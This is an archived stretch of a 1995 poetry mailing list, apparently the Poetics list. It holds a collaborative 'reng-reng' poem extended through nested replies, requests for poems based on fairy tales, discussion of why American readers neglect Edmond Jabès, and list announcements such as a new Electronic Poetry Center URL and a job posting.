> > > > no ideas but the woven fabric the texture so to speak at the dry
> > > > cleaners
> > > > piping hot and gloved-in somewhere unsalted, perched on prescience
> > > > the chair is sad, alas, and i've lusted tootles' livers
> > > > the odor day toy a cello day dis chevys a bo coo daughter chose encore
> > > > Flaubert because we're waiting all eternity for moments to be
> > > > of such suchness. In the nooks were creams and in the streams were
> > > > hooks.

> > > > All melded like striated film leftover in the pastel seeds of darkness
> > > > falling like a counterirritant around the manchineel. Likewise
> > > > sandpaper juxtaposed with seasoned instruments and recently soft
> > > > fruit
> > > > of subject's object status, violent transformation
> > > > la Ste. Therese into beaming cumulus apokoinu switchback
> > > > and in the u-turns were bookmobiles rounding angles considered
> > > > shrill as pine left in the acres to be aging, invoking editor
> > > > flawlessly, flutes sing genderless in trio, surprised
> > > > by how quiet effort really is or is not, fast enough to sleep
> > > > through thunderstorms, arm over thigh until light shakes
> > > > petals free of names that rain across known skin forgotten
> > > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > > and dance, composing instead of straining muscles, far eyes
> > > > saunter lope pentecost beam operator will you cockpit
> > > > out, transplanted organs speak, the idiom
> > > > inseams, a snare as solvently unequal-- the power
> > > > uncreased although each snare still trembles quantum
> > > > which explains why the pump is busted and why
> > > > he preferred whole afternoons on the phone to that
> > > > crap about not having a cousin on the moon
> > > > capable of keeping the canoe right way up in the cool
> > > > prose of the upper Hudson, dinner's at seven so
> > > > what if the trees are conservative well i hate them
> > > > the emir said as much as any garrulous ill-advised backbiter
> > > > blousily seeking lousy peaks of projectile vomit purple and
> > insisting on multiple levels of representation. In the meantime
> > the pen seemed oddly juicy, nice, in what she thought of
 slugs as analogs to beliefs and how butter reminded her of

↑ Index

24. Ron Silliman

Dear Ed Foster,

Fri 1 Sep 1995

Not guilty.

I compared you to Ross Perot.

Fliply and with no elucidation.

But if anybody asked (and Kevin Killian did), I would have said that what I meant was that, like Ross' use of aphorisms, the stance behind "All Acts are Simply Acts" and especially the intro on poetry & politics seems like common

sense on the surface but is actually very willfully (to the point of being coy) wrong.

It carries Williams' dictum about no ideas but in things to an extreme, which could be pure thingness but also simply "no ideas"

But since you've declared WCW to be "boring" that must not be it either

All best,
Ron

↑ Index

25. Steve Carll

Re: Keanu, the living god (fwd)

Fri 1 Sep 1995

Lindz sed:

> *No, I haven't seen little Buddha but a friend told me it was brutal.*

The movie was actually quite well-done, only none of the "actors" could act. The kids were great. The Tibetan Buddhist monks who played Tibetan Buddhist monks were also great. Bridget Fonda did well, but didn't have a very big role. Which pretty much leaves Keanu and Chris Isaak. I kept expecting the Buddha's enlightenment to be expressed like, "Whoaaaa, dude!" It was a little distracting.

↑ Index

26. Louis Cabri

reng-reng

Fri 1 Sep 1995

In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
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halfway pertinent incision we keep making safe for ignorance (inspection
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when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout eternity for moments to be
of such suchness. In the nooks were creams and in the streams were hooks.
All melded like striated film leftover in the pastel seeds of darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that

crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
    heats me up in the sleaze," it's

↑ Index

27. Anmarie Trimble

Re: fairy poems

Fri 1 Sep 1995

---

i feel stoopid; i can only think of the obvious: anne sexton's book "transformations", and plath's poem "the disquieting muses." hmmmmm...stevie smith's "our bog is dood" popped into my head, but probably doesn't fit with what you're looking for. I read a poem called "seamonster" a few years ago, but don't recall who wrote it or where I read it.

share your finds with us!
-Anmarie

> *Anyways, with this in mind, I would like to know of any poems or poets that deal with fairy tale lore in, not necessrily this manner, but work with the material.*
>
> *Thanksillions,*
>
> *Ryan Knighton*

↑ Index

28. Shaunanne Tangney

Re: fairy poems

Fri 1 Sep 1995

On Fri, 1 Sep 1995, Ryan Knighton wrote:

> I'm curous if any of you out here know of any or many
> poems related to or influenced by children's literature.
> I'm not talking about children's verse either. I think
> bp did something (I know he had a lot of pop up books and,
> if I remember correctly, he worked on the Fraggle Rock genius);
> Dennis Lee might be another. In particular, I'm interested
> in the influence of fairy tales on contemporary poetry
> and poetics.
>
>

anne sexton's _transformations_ is based entirely on fairy tales--good stuff, too, imho!
--shaunanne

↑ Index

29. **Shaunanne Tangney**
Re: fairy poems
Fri 1 Sep 1995

---

umm. . .
could you/would you consider barthelme's _snow white_?
sorry for the doubble post--i'm not paying attention tonight!
--shaunanne

↑ Index

30. **Jonathan Brannen**
Re: fairy poems
Fri 1 Sep 1995

I believe that Randall Jarrell did a take of Handsel and Gredal. Don't recall the name of the poem. Haven't read RJ in centuries and don't intend to start again now. Thought I'd mention it, though.

jb

↑ Index

31. **George Bowering**
Re: reng-reng
Sat 2 Sep 1995

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *white stucco volutes and scrolls and flakes and feathers*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her beasts as she*

gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
(inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho,
kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
warehouse, curls
no ideas but the woven fabric the texture so to speak was at the
dry cleaners
piping hot and gloved-in somewhere unsalted, perched on
prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose
encore
Flaubert because we're waiting all throughout eternity for moments to be
of such suchness. In the nooks were creams and in the streams
were hooks.
All melded like striated film leftover in the pastel seeds of
darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft
fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom pronounced I's and
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's
Decoration Day & I'm the Bard of Dubuque, impatient for

↑ Index

32. beard
humble apologies
Sat 2 Sep 1995

---

it appears that, in a vain attempt to set a "reply-to" field in vms mail, i accidentally set my mail server to forward my mail to the list. please accept my apologies if this set up some sort of horrid feedback loop, or cluttered up the list with messages from my other lists for the last few days.

tom the abject and lowercase

↑ Index

33. Rachel Loden
fairy poems
Sat 2 Sep 1995

Ryan,

Card catalogue here has _Disenchantments: an Anthology of Modern Fairy Tale Poetry,_ ed. Wolfgang Mieder, University Press of New England 1985. Don't know if it contains any interesting work.

From _My Book House_ (1920)--worth it for the last two lines:

THE ASSEMBLING OF THE FAYS

They come from beds of lichen green,
They creep from the mullein's velvet screen;
  Some on the backs of beetles fly
From the silver tops of moon-touched trees,
Where they swung in their cobweb hammocks high,
And rocked about in the evening breeze;
And now they throng the moonlight glade,
Above--below--on every side,
Their little minim forms arrayed,
In the tricksy pomp of fairy pride.

-- Rachel

↑ Index

34. Jorge Guitart

Re: reng-reng-reng

Sat 2 Sep 1995

> In the books were dreams and in the dreams were books.>
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the
> dry cleaners
> piping hot and gloved-in somewhere unsalted, perched on
> prescience
> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose
> encore
> Flaubert because we're waiting all throughout eternity for
> moments to be
> of such suchness. In the nooks were creams and in the streams
> were hooks.
> All melded like striated film leftover in the pastel seeds of
> darkness
> falling like a counterirritant around the manchineel. Likewise

> sandpaper juxtaposed with seasoned instruments and recently soft
> fruit
> of subject's object status, violent transformation
> la Ste. Therese into beaming cumulus apokoinu switchback
> and in the u-turns were bookmobiles rounding angles considered
> shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprised
> by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to go ahead
> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> start swimmin, bud: "lay me down in a wetsuit,
> heats me up in the sleaze," it's like a huge dose
 of familiarity. I am storing radiance for later use

↑ Index

35. Ron Silliman

Re: Keanu, the living god (fwd)

Sat 2 Sep 1995

Buddha's enlightenment to be expressed like, "Whoaaaa, dude!" It was a little distracting.
>
That would've been okay. I liked the film quite a bit (having all the male characters from the deer in the headlights school made their weaknesses) tho it was too precious. I prefer The Sheltering Sky, of the three films in the "foreign" trilogy--that was one of the great films of the 80s.

Ron

↑ Index

36. Ron Silliman

Re: fairy poems

Sat 2 Sep 1995

Both Duncan and Spicer toyed with this form.

Buzz, Buzz; Buzz, Buzz

Each of them did just what he does

Buzz, Buzz; Buzz, Buzz

↑ Index

37. CAROLYN L. FORCHE-MATTISON

Re: progressive v regressive

Sat 2 Sep 1995

On Fri, 1 Sep 1995, Herb Levy wrote:

> *Aldon Nielsen writes:*
>
> *What's odd about this is*
> *that while thousands of Americans have now read Derrida on Jabes, for example, few of them read any American poets as interesting (to me at any rate) as Jabes.*
>
> *I'd bet that few of these same Americans have more than glanced at Jabes, either. But you're otherwise right.*
>
> *Herb Levy*
> [redacted]

As a new subscriber (introduced by friends Pierre Joris and Rod Smith), I came late to this thread, but have never understood why Jabes has not been read more widely here. Toward that end, I'm teaching an over- subscribed seminar this semester on -The Book of Questions-, and, fortuitously, Rosmarie Waldrop will join us one week for discussion. Does anyone have ideas about why Americans have so ignored or resisted Jabes?

Thank you all creating a list of such intelligence. . .

--Carolyn Forche

↑ Index

38. Loss Glazier
! ! ! NEW URL for the EPC ! ! !
Sat 2 Sep 1995

I am pleased to announce that shortly before midnight last night the move to the new Electronic Poetry Center url was made operative.

The EPC's new URL is:

http://writing.upenn.edu/epc

Please re-set your bookmarks!

Also, keep in mind that for the next couple of days I will continue to debug the new URL. A number of changes had to be made to accommodate new features and quicker links, so it took significant rebuilding of the files to accomplish this. You will find occasional link failures but this is being worked on assiduously. (The author libraries, for example, are still being rebuilt but I hope to complete these very soon.)

Thanks for your patience and I look forward to seeing you at our new url!

↑ Index

39. Brian W Horihan
Re: fairy poems
Sat 2 Sep 1995

---

or would you consider angela carter's The Bloody Chamber, tho that's not poetry. --brian

↑ Index

40. Aldon L. Nielsen
Re: reHerb
Sat 2 Sep 1995

To the contrary, one of my complains in recent years is that Jabes is about the only contemporary French "poet" (what do we call that kind of work?) known to many academics outside of French departments -- I assume that somebdoy is purchasing all those copies of his works that are sold at university book stores (& now even Borders!) --

thanks again to Rosmarie Waldrop and Wesleyan for making those beautiful English translations available

But wouldn't it be nice if Jacques Roubaud or Anne-Marie Albiach were as widely known?

↑ Index

41. CAROLYN L. FORCHE-MATTISON
Re: reHerb
Sat 2 Sep 1995

I've yet to encounter an academic (outside French) who has read Jabes, and I urge whatever so-called "mainstream" poets I encounter to read him. My students know Roubaud and Albiach. It's sad that there are several excellent Roubaud translations circulating without a publisher.

--Carolyn Forche

On
Sat, 2 Sep 1995, Aldon L. Nielsen wrote:

> *To the contrary, one of my complains in recent years is that Jabes is about the only contemporary French "poet" (what do we call that kind of work?) known to many academics outside of French departments -- I assume that somebdoy is purchasing all those copies of his works that are sold at university book stores (& now even Borders!) --*
>
> *thanks again to Rosmarie Waldrop and Wesleyan for making those beautiful English translations available*
>
> *But wouldn't it be nice if Jacques Roubaud or Anne-Marie Albiach were as widely known?*

↑ Index

42. Pierre Joris
Jabes
Sat 2 Sep 1995

One of the reasons -- I think -- that Jabes' name is better known than his work might have to do with the fact that many young students/poets meet up with _the name_ Jabes in the writings of Derrida, Blanchot & others, rather than pulling a book off the shelves in the poetry section of a bookstore. Beyond that there may also be the question of a range of people used to certain american poetries might find the work too fordidding in its "esoteric" (Jewish/cabbalistic etc.) & "spiritual" dimensions. It is work of a piece & it does take some energy & desire to move towards it. As to some of the other recations to your query: Sure, it would be excellent if Roubaud & Albiach were better known -- but they are known -- or they wouldn't be mentioned here! I

could rattle off a dozen names (not published by P.O.L.) whose work is as worthwhile & _should_ be known (not even "better" -- just known) in this country.

==========
==========

Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne

==========
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↑ Index

43. Thomas Bell

Re: reng-reng

Sat 2 Sep 1995

George Bowering wrote:
>
> In the books were dreams and in the dreams were books.>
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> white stucco volutes and scrolls and flakes and feathers
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several

> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the
> dry cleaners
> piping hot and gloved-in somewhere unsalted, perched on
> prescience
> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose
> encore
> Flaubert because we're waiting all throughout eternity for moments to be
> of such suchness. In the nooks were creams and in the streams
> were hooks.
> All melded like striated film leftover in the pastel seeds of
> darkness
> falling like a counterirritant around the manchineel. Likewise
> sandpaper juxtaposed with seasoned instruments and recently soft
> fruit
> of subject's object status, violent transformation
> la Ste. Therese into beaming cumulus apokoinu switchback
> and in the u-turns were bookmobiles rounding angles considered
> shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprised
> by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to go ahead
> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom pronounced I's and
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> start swimmin, bud: "lay me down in a wetsuit,
> heats me up in the sleaze," it's

> Decoration Day & I'm the Bard of Dubuque, impatient for
slatecoated snakes to arrive once over the hill I am

↑ Index

44. CAROLYN L. FORCHE-MATTISON

Job List Aug: new ad (fwd)

Sat 2 Sep 1995

Subject: Job List Aug: new ad

George Mason University
Fairfax, VA

George Mason University Department of English MFA Program seeks a part-time visiting poet for the Spring 1996 semester at Associate rank or above with commensurate salary. MFA or PhD, distinguished publications, and graduate teaching experience preferred. Two-course load; additional duties include advising, assisting with readings, and reviewing graduate applications. Send letter, vita, and three letters of reference by October 23, 1995 to MS 3E4, Professor Carolyn Forche, Appointment Committee, English Department, George Mason University, 4400 University Drive, Fairfax, VA 22030. AA/EOE.

↑ Index

45. Jorge Guitart

Re: reng-reng

Sat 2 Sep 1995

On Sat, 2 Sep 1995, Thomas Bell wrote:

> George Bowering wrote:
> >
> > In the books were dreams and in the dreams were books.>
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > white stucco volutes and scrolls and flakes and feathers
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped lads, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind

> > kissing the weatherwoman between her beasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka my best friend and the storm in the glass of water's
> > halfway pertinent incision we keep making safe for ignorance
> > (inspection
> > denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango
> > when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> > no ideas but the woven fabric the texture so to speak was at the
> > dry cleaners
> > piping hot and gloved-in somewhere unsalted, perched on
> > prescience
> > the chair is sad, alas, and i've lusted tootles' livers
> > the odor day toy a cello day dis chevys a bo coo daughter chose
> > encore
> > Flaubert because we're waiting all throughout eternity for moments to be
> > of such suchness. In the nooks were creams and in the streams
> > were hooks.
> > All melded like striated film leftover in the pastel seeds of
> > darkness
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> > sandpaper juxtaposed with seasoned instruments and recently soft
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> > of subject's object status, violent transformation
> > la Ste. Therese into beaming cumulus apokoinu switchback
> > and in the u-turns were bookmobiles rounding angles considered
> > shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprised
> > by how quiet effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
> > saunter lope pentecost beam operator will you cockpit
> > out, transplanted organs speak, the idiom pronounced I's and
> > inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why

> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's
> > Decoration Day & I'm the Bard of Dubuque, impatient for
> slatecoated snakes to arrive once over the hill I am
 sort of banal right now & kind of post-hoc-propter-hoc-ish

↑ Index

46. Andrew John Miller

Re: reng-reng

Sat 2 Sep 1995

>
> In the books were dreams and in the dreams were books.>
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
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> white stucco volutes and scrolls and flakes and feathers
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> Mollycoddled than aware, thin-spined and pebbling
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> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
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> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> start swimmin, bud: "lay me down in a wetsuit,
> heats me up in the sleaze," it's
> Decoration Day & I'm the Bard of Dubuque, impatient for
> slatecoated snakes to arrive once over the hill I am
King Hen-ery the eighth prescribing, home at last, "Invasion U.S.A."

↑ Index

47. Jonathan Brannen
Re: progressive v regressive
Sat 2 Sep 1995

Aldon, Carolyn, Herb and all others,

Why have americans so ignored or resisted Jabes? Because it is a poetry of ideas and it's structurally innovative. Each of these traits alone is enough to unnerve most U.S. readers. Why was Zukofsky ignored and resisted for so long? As Aldon pointed out, contemporary american poets who are similarly intriguing and challenging are equally ignored. I think U.S. readers are taught that if a work makes demands on them it's seriously flawed because the poet should have made it more user-friendly.

Jonathan Brannen

↑ Index

48. Jonathan Brannen
Re: reHerb
Sat 2 Sep 1995

Aldon,

Yes it would be nice if Jacques Roubaud or Anne-Albiach were as well known as Jabes. Emmanuel Hocquard, as well. I highly recommend Michael Palmer's translation of Hocquard's TABLE OF THEORIES. For that matter, I highly recommend Tom Mandel's LETTERS OF THE LAW which seems to have been ignored when it came out in January except by those who didn't like it because it's unlike some earlier work.

Still Jabes is hardly a household word, though Roubaud, Anne-Marie Albiach and Hocquard seem to be unknown ever within French Depts.

Brannen

↑ Index

49. Jonathan Brannen
Re: reHerb
Sat 2 Sep 1995

Carolyn,

I delighted that your students are familiar with Roubaud and Albiach. I'd be interested in hearing more, back channel, about the unpublished Roubaud translations. Frankly, the only people I know who have actually read Albiach or Jabes have been other poets. I've yet to encounter an academic familiar with

their work. Roubaud seems more widely but as a writer of fiction instead of poetry. Glad you're doing a seminar on BOOK OF QUESTIONS. All of these writers deserve a broader readership here in the states.

Jonathan Brannen

↑ Index

50. Jonathan Brannen
Re: Jabes
Sat 2 Sep 1995

Pierre,

Please do "rattle off a dozen names...whose work is as worthwhile." Suggestions about where they can be ordered are welcome, also.

Best,
Jonathan

↑ Index

51. George Bowering
Re: reng-reng, hello?
Sat 2 Sep 1995

On Sept 2 William Carlos Williams wrote:

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *white stucco volutes and scrolls and flakes and feathers*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *Translucent hands braiding but we watch*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance*
> *(inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*

when the attorney general came, selah hales said, "Dias, oh,ho,
kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
warehouse, curls
no ideas but the woven fabric the texture so to speak was at the
dry cleaners
piping hot and gloved-in somewhere unsalted, perched on
prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose
encore
Flaubert because we're waiting all throughout eternity for moments to be
of such suchness. In the nooks were creams and in the streams
were hooks.
All belled like striated film leftover in the pastel seeds of
darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft
fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom pronounced I's and
inseams, a snare as solvently unequal-- the power
uncreased although each snarf still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's
Decoration Day & I'm the Bard of Dubuque, impatient for
slatecoated snakes to arrive once over the hill I am
King Hen-ery the eighth prescribing, home at last, "Invasion U.S.A."
Oh Lord, we soon begin a second stanza, fueled on capons

↑ Index

52. George Bowering
Re: reHerb
Sat 2 Sep 1995

I am surprised to hear all the talk of Jabes's lack of readers. I was led to believe that everyone but I has read him. I have some of gis books, but I have not read much. But now everyone but I has read Bhabba or however you spell his name.

↑ Index

53. George Bowering
Re: Buzz
Sat 2 Sep 1995

Dear Ron

Us folks in Vancouver dont like to hear all this

Buzz Buzz Buzz Buzz stuff.

The Canadians just swept the Buzz in a series at the Nat, and will be
facing them in the northern division playoffs next week.
So the Buzz are going down!

↑ Index

54. Rod Smith
Re: fairy poems
Sat 2 Sep 1995

R.K., Re use of kid lit-- The piece of mine called "XCII (cinder-cifter)" in _oblek 12_ uses a 1932 edition of Mother Goose for half of it's vocabulary. The form is Pound's Canto of same #. & the other half of the vocabulary comes from a character by character transliteration of the _Tao Te Ching_. Lines flush left source Goose, lines indented source Tao. Also, I've done a writing through _Fun with Dick & Jane_ called "See it Go," which is part of a "circus" based on Cage's _Roaratorio_, uses broken toy sound effects among other things. A favorite of mine is David Shapiro's "The Boss Poem" written with his son Daniel. --Rod

Ryan Knighton wrote:
>I'm curous if any of you out here know of any or many
poems related to or influenced by children's literature.
>I'm not talking about children's verse either. I think
bp did something (I know he had a lot of pop up books and,
>if I remember correctly, he worked on the Fraggle Rock genius);
>Dennis Lee might be another. In particular, I'm interested

in the influence of fairy tales on contemporary poetry
>and poetics.

↑ Index

55. Gwyn McVay
Re: fairy poems
Sat 2 Sep 1995

Howbout Anne Sexton's _Transformations_?

Gwyn

↑ Index

56. Ron Silliman
Re: Jabes
Sat 2 Sep 1995

> *Does anyone have ideas about why Americans have so ignored or resisted Jabes?*

>--Carolyn Forche
>
Good question.

I can think of two reasons, at least. One is that Americans as an audience (this is the grossest overgeneralization, I realize) have tended to love a poetics of the noun (Whitman, Williams, Olson, Creeley, Ginsberg, Crane, O'Hara, etc.). The counter examples that do exist (Stevens, Ashbery, Duncan and Eliot come to mind) all produced a metaphysical discourse, but one that seemed (important qualifier there) to shy away from a spiritual discourse. Duncan's spirituality was so 19th century as to be a museum of itself. Eliot's catholicism came after he had made his inroad on the public mind.

A second is that the French prose poem as it has come to America via its main proselytizers, Bly, Benedikt, Edson, et al, veers away from longer works and works that really transcend the "prose lyric" posed by Jacob as a closed form. Thus Segalen, St. John Perse, the Ponge of the pine woods have all been marginalized.

A third is that he's Jewish. One look at the fate of the Objectivists ought to tell us what that means in America.

All best,
Ron Silliman
[redacted]

↑ Index

57. **Ryan Knighton**
Re: fairy poems
Sat 2 Sep 1995

Thanks to everyone for their lists. Way more than I thought, very encouraging. Now that I've got sources to go to (in the time I don't have) does anyone have any thoughts on the relationship betwn children's verse and contemporary poets/ry/ics? Any thoughts on language as "the supernatural"?

thanksillions,
Ryan

(It's funny that everyone I talked to up here immediately went to M. Atwood and then realized that was prose--I suppse that's a Canadian knee-jerk).

↑ Index

58. **Ryan Knighton**
Re: Renging hands
Sat 2 Sep 1995

Reng....never mind.

↑ Index

59. **Ryan Knighton**
Re: refusal to refer
Sat 2 Sep 1995

Part time
position
available
Words need not
apply

↑ Index

60. **Charles Alexander**
Re: progressive v regressive
Sun 3 Sep 1995

